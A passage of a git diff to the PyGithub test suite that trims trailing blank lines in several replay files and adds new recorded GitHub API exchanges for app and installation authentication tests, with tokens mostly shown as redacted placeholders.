France","email":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/BeaverSoftware","created_at":"2012-02-09T19:20:12Z","updated_at":"2014-02-23T05:51:58Z","type":"Organization"}},{"name":"Honoraries","id":303637,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303637","members_url":"https://api.github.com/teams/303637/members{/member}","repositories_url":"https://api.github.com/teams/303637/repos","members_count":164,"repos_count":0,"organization":{"login":"coderwall-forked20","id":3080475,"url":"https://api.github.com/orgs/coderwall-forked20","repos_url":"https://api.github.com/orgs/coderwall-forked20/repos","events_url":"https://api.github.com/orgs/coderwall-forked20/events","members_url":"https://api.github.com/orgs/coderwall-forked20/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-forked20/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080475","name":"Forked 20","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Forked 20 achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-forked20","created_at":"2012-12-19T11:54:12Z","updated_at":"2013-10-13T23:33:01Z","type":"Organization"}},{"name":"Honoraries","id":303631,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303631","members_url":"https://api.github.com/teams/303631/members{/member}","repositories_url":"https://api.github.com/teams/303631/repos","members_count":2223,"repos_count":0,"organization":{"login":"coderwall-forked","id":3080402,"url":"https://api.github.com/orgs/coderwall-forked","repos_url":"https://api.github.com/orgs/coderwall-forked/repos","events_url":"https://api.github.com/orgs/coderwall-forked/events","members_url":"https://api.github.com/orgs/coderwall-forked/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-forked/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080402","name":"Forked","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Forked achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-forked","created_at":"2012-12-19T11:41:31Z","updated_at":"2013-10-15T16:59:47Z","type":"Organization"}},{"name":"Honoraries","id":304245,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304245","members_url":"https://api.github.com/teams/304245/members{/member}","repositories_url":"https://api.github.com/teams/304245/repos","members_count":2217,"repos_count":0,"organization":{"login":"coderwall-polygamous","id":3086534,"url":"https://api.github.com/orgs/coderwall-polygamous","repos_url":"https://api.github.com/orgs/coderwall-polygamous/repos","events_url":"https://api.github.com/orgs/coderwall-polygamous/events","members_url":"https://api.github.com/orgs/coderwall-polygamous/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-polygamous/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086534","name":"Walrus","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Walrus achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-polygamous","created_at":"2012-12-20T04:08:42Z","updated_at":"2013-12-11T01:46:46Z","type":"Organization"}},{"name":"Honoraries","id":303548,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303548","members_url":"https://api.github.com/teams/303548/members{/member}","repositories_url":"https://api.github.com/teams/303548/repos","members_count":167,"repos_count":0,"organization":{"login":"coderwall-lemmings100","id":3079637,"url":"https://api.github.com/orgs/coderwall-lemmings100","repos_url":"https://api.github.com/orgs/coderwall-lemmings100/repos","events_url":"https://api.github.com/orgs/coderwall-lemmings100/events","members_url":"https://api.github.com/orgs/coderwall-lemmings100/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-lemmings100/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3079637","name":"Lemmings 100","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Lemmings 100 achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-lemmings100","created_at":"2012-12-19T09:40:52Z","updated_at":"2013-10-14T18:57:32Z","type":"Organization"}},{"name":"Honoraries","id":303589,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303589","members_url":"https://api.github.com/teams/303589/members{/member}","repositories_url":"https://api.github.com/teams/303589/repos","members_count":3650,"repos_count":0,"organization":{"login":"coderwall-charity","id":3080009,"url":"https://api.github.com/orgs/coderwall-charity","repos_url":"https://api.github.com/orgs/coderwall-charity/repos","events_url":"https://api.github.com/orgs/coderwall-charity/events","members_url":"https://api.github.com/orgs/coderwall-charity/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-charity/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080009","name":"Charity","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Charity achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-charity","created_at":"2012-12-19T10:39:38Z","updated_at":"2013-12-13T22:31:08Z","type":"Organization"}},{"name":"Honoraries","id":304227,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304227","members_url":"https://api.github.com/teams/304227/members{/member}","repositories_url":"https://api.github.com/teams/304227/repos","members_count":346,"repos_count":0,"organization":{"login":"coderwall-python3","id":3086369,"url":"https://api.github.com/orgs/coderwall-python3","repos_url":"https://api.github.com/orgs/coderwall-python3/repos","events_url":"https://api.github.com/orgs/coderwall-python3/events","members_url":"https://api.github.com/orgs/coderwall-python3/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-python3/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086369","name":"Python 3","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Python 3 achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-python3","created_at":"2012-12-20T03:41:01Z","updated_at":"2013-10-21T18:01:03Z","type":"Organization"}},{"name":"Honoraries","id":304225,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/304225","members_url":"https://api.github.com/teams/304225/members{/member}","repositories_url":"https://api.github.com/teams/304225/repos","members_count":1021,"repos_count":0,"organization":{"login":"coderwall-python","id":3086352,"url":"https://api.github.com/orgs/coderwall-python","repos_url":"https://api.github.com/orgs/coderwall-python/repos","events_url":"https://api.github.com/orgs/coderwall-python/events","members_url":"https://api.github.com/orgs/coderwall-python/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-python/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3086352","name":"Python","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Python achievement","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-python","created_at":"2012-12-20T03:38:28Z","updated_at":"2013-10-16T19:01:51Z","type":"Organization"}},{"name":"Honoraries","id":303627,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303627","members_url":"https://api.github.com/teams/303627/members{/member}","repositories_url":"https://api.github.com/teams/303627/repos","members_count":74,"repos_count":0,"organization":{"login":"coderwall-epidexipteryx3","id":3080383,"url":"https://api.github.com/orgs/coderwall-epidexipteryx3","repos_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/repos","events_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/events","members_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-epidexipteryx3/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080383","name":"Epidexipteryx 3","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Epidexipteryx 3 achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-epidexipteryx3","created_at":"2012-12-19T11:38:11Z","updated_at":"2013-10-04T16:44:30Z","type":"Organization"}},{"name":"Honoraries","id":303625,"slug":"honoraries","permission":"pull","url":"https://api.github.com/teams/303625","members_url":"https://api.github.com/teams/303625/members{/member}","repositories_url":"https://api.github.com/teams/303625/repos","members_count":391,"repos_count":0,"organization":{"login":"coderwall-epidexipteryx","id":3080333,"url":"https://api.github.com/orgs/coderwall-epidexipteryx","repos_url":"https://api.github.com/orgs/coderwall-epidexipteryx/repos","events_url":"https://api.github.com/orgs/coderwall-epidexipteryx/events","members_url":"https://api.github.com/orgs/coderwall-epidexipteryx/members{/member}","public_members_url":"https://api.github.com/orgs/coderwall-epidexipteryx/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/3080333","name":"Epidexipteryx","company":null,"blog":"https://coderwall.com/gh","location":"Honorary members of the Epidexipteryx achievement ","email":"support@coderwall.com","public_repos":1,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/coderwall-epidexipteryx","created_at":"2012-12-19T11:31:05Z","updated_at":"2013-10-15T14:07:00Z","type":"Organization"}}] - diff --git a/tests/ReplayData/AuthenticatedUser.testInstallations.txt b/tests/ReplayData/AuthenticatedUser.testInstallations.txt index 365b505059..ec405f405f 100644 --- a/tests/ReplayData/AuthenticatedUser.testInstallations.txt +++ b/tests/ReplayData/AuthenticatedUser.testInstallations.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 23 Jan 2019 22:55:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1548287423'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"a5a8c1fcbecacfdb17b4b714f28556ba"'), ('X-OAuth-Scopes', ''), ('X-Accepted-OAuth-Scopes', ''), ('X-OAuth-Client-Id', 'Iv1.11b0acc03bd76665'), ('X-GitHub-Media-Type', 'github.machine-man-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip')] {"total_count":1,"installations":[{"id":123456,"account":{"login":"rigaspapas","id":12345,"node_id":"MDQ6VXNlcjE3NzM2NTI=","avatar_url":"https://avatars1.githubusercontent.com/u/12345?v=4","gravatar_id":"","url":"https://api.github.com/users/rigaspapas","html_url":"https://github.com/rigaspapas","followers_url":"https://api.github.com/users/rigaspapas/followers","following_url":"https://api.github.com/users/rigaspapas/following{/other_user}","gists_url":"https://api.github.com/users/rigaspapas/gists{/gist_id}","starred_url":"https://api.github.com/users/rigaspapas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rigaspapas/subscriptions","organizations_url":"https://api.github.com/users/rigaspapas/orgs","repos_url":"https://api.github.com/users/rigaspapas/repos","events_url":"https://api.github.com/users/rigaspapas/events{/privacy}","received_events_url":"https://api.github.com/users/rigaspapas/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/installations/242638/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/123456","app_id":10101,"target_id":3344556,"target_type":"User","permissions":{"contents":"write","pull_requests":"write","administration":"read","metadata":"read","statuses":"read"},"events":["push"],"created_at":"2018-07-13T17:59:47.000+03:00","updated_at":"2018-07-13T17:59:47.000+03:00","single_file_name":null}]} - diff --git a/tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt b/tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt index 109e882e80..48980e55a7 100644 --- a/tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt +++ b/tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt @@ -7,5 +7,3 @@ None {"last_read_at": "2018-10-18T18:20:01Z"} 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:41:54 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B236:4C25:2ABE5CA:58BE030:5BC8D3F2')] - - diff --git a/tests/ReplayData/AuthenticatedUser.testStarring.txt b/tests/ReplayData/AuthenticatedUser.testStarring.txt index b10e61d4d5..b20c2c8ebb 100644 --- a/tests/ReplayData/AuthenticatedUser.testStarring.txt +++ b/tests/ReplayData/AuthenticatedUser.testStarring.txt @@ -95,5 +95,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:34:47 GMT')] - - diff --git a/tests/ReplayData/AuthenticatedUser.testSubscriptions.txt b/tests/ReplayData/AuthenticatedUser.testSubscriptions.txt index 1256b91f13..a03edfcc76 100644 --- a/tests/ReplayData/AuthenticatedUser.testSubscriptions.txt +++ b/tests/ReplayData/AuthenticatedUser.testSubscriptions.txt @@ -95,5 +95,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4937'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Fri, 07 Sep 2012 23:53:25 GMT')] - - diff --git a/tests/ReplayData/AuthenticatedUser.testWatching.txt b/tests/ReplayData/AuthenticatedUser.testWatching.txt index ff016bcfd7..cd325317d8 100644 --- a/tests/ReplayData/AuthenticatedUser.testWatching.txt +++ b/tests/ReplayData/AuthenticatedUser.testWatching.txt @@ -95,5 +95,3 @@ None None 200 [('status', '204 No Content'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Tue, 22 May 2012 17:15:09 GMT')] - - diff --git a/tests/ReplayData/Authentication.testAppAuthAuthentication.txt b/tests/ReplayData/Authentication.testAppAuthAuthentication.txt new file mode 100644 index 0000000000..9f2a6b2e87 --- /dev/null +++ b/tests/ReplayData/Authentication.testAppAuthAuthentication.txt @@ -0,0 +1,21 @@ +https +POST +api.github.com +None +/app/installations/29782936/access_tokens +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] +{"token":"ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"issues":"read","metadata":"read"}, "repository_selection":"selected"} + +https +GET +api.github.com +None +/users/ammarmallik +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('content-length', '1338'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', 'W/"e5e65462690241eb7d9bc213cc00b3df2c75984d29a36b2ee8e151deaf4f3981"'), ('date', 'Tue, 25 Oct 2022 02:01:06 GMT'), ('x-ratelimit-reset', '1666666583'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-resource', 'core'), ('x-ratelimit-used', '3'), ('accept-ranges', 'bytes'), ('x-github-request-id', 'D8C1:7CE1:C3DF20:D546B4:63574361'), ('content-security-policy', "default-src 'none'"), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-xss-protection', '0'), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('x-github-media-type', 'github.v3; format=jsom'), ('last-modified', 'Mon, 24 Oct 2022 20:26:22 GMT'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept, Accept-Encoding, Accept, X-Requested-With')] +{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false,"name":"Ammar Akbar","company":null,"blog":"","location":"Lahore","email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":14,"public_gists":2,"followers":0,"following":3,"created_at":"2017-06-05T09:42:01Z","updated_at":"2022-10-24T20:26:22Z"} diff --git a/tests/ReplayData/Authentication.testAppAuthTokenAuthentication.txt b/tests/ReplayData/Authentication.testAppAuthTokenAuthentication.txt new file mode 100644 index 0000000000..761a5779c4 --- /dev/null +++ b/tests/ReplayData/Authentication.testAppAuthTokenAuthentication.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/users/jacquev6 +{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e3990a84c08ccd728a27dbe549d4f86"'), ('date', 'Sat, 26 May 2012 09:34:29 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] +{"type":"User","company":"Criteo","location":"Paris, France","hireable":false,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","bio":"","following":24,"blog":"http://vincent-jacques.net","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"html_url":"https://github.com/jacquev6","url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","public_repos":11,"public_gists":1,"email":"vincent@vincent-jacques.net","id":327146,"created_at":"2010-07-09T06:10:06Z"} diff --git a/tests/ReplayData/Authentication.testAppAuthentication.txt b/tests/ReplayData/Authentication.testAppAuthentication.txt index 53391560e5..9f2a6b2e87 100644 --- a/tests/ReplayData/Authentication.testAppAuthentication.txt +++ b/tests/ReplayData/Authentication.testAppAuthentication.txt @@ -3,7 +3,7 @@ POST api.github.com None /app/installations/29782936/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] diff --git a/tests/ReplayData/Authentication.testAppInstallationAuthAuthentication.txt b/tests/ReplayData/Authentication.testAppInstallationAuthAuthentication.txt new file mode 100644 index 0000000000..cc450b4686 --- /dev/null +++ b/tests/ReplayData/Authentication.testAppInstallationAuthAuthentication.txt @@ -0,0 +1,43 @@ +https +POST +api.github.com +None +/app/installations/29782936/access_tokens +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] +{"token":"private_token_removed", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"metadata":"read"}, "repository_selection":"selected"} + +https +POST +api.github.com +None +/app/installations/29782936/access_tokens +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] +{"token":"refreshed_private_token_removed", "expires_at":"2025-11-25T01:00:02Z", "permissions":{"metadata":"read"}, "repository_selection":"selected"} + +https +GET +api.github.com +None +/users/ammarmallik +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '57'), ('content-length', '1338'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', 'W/"e5e65462690241eb7d9bc213cc00b3df2c75984d29a36b2ee8e151deaf4f3981"'), ('date', 'Tue, 25 Oct 2022 02:01:06 GMT'), ('x-ratelimit-reset', '1666666583'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-resource', 'core'), ('x-ratelimit-used', '3'), ('accept-ranges', 'bytes'), ('x-github-request-id', 'D8C1:7CE1:C3DF20:D546B4:63574361'), ('content-security-policy', "default-src 'none'"), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-xss-protection', '0'), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('x-github-media-type', 'github.v3; format=jsom'), ('last-modified', 'Mon, 24 Oct 2022 20:26:22 GMT'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept, Accept-Encoding, Accept, X-Requested-With')] +{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false,"name":"Ammar Akbar","company":null,"blog":"","location":"Lahore","email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":14,"public_gists":2,"followers":0,"following":3,"created_at":"2017-06-05T09:42:01Z","updated_at":"2022-10-24T20:26:22Z"} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None 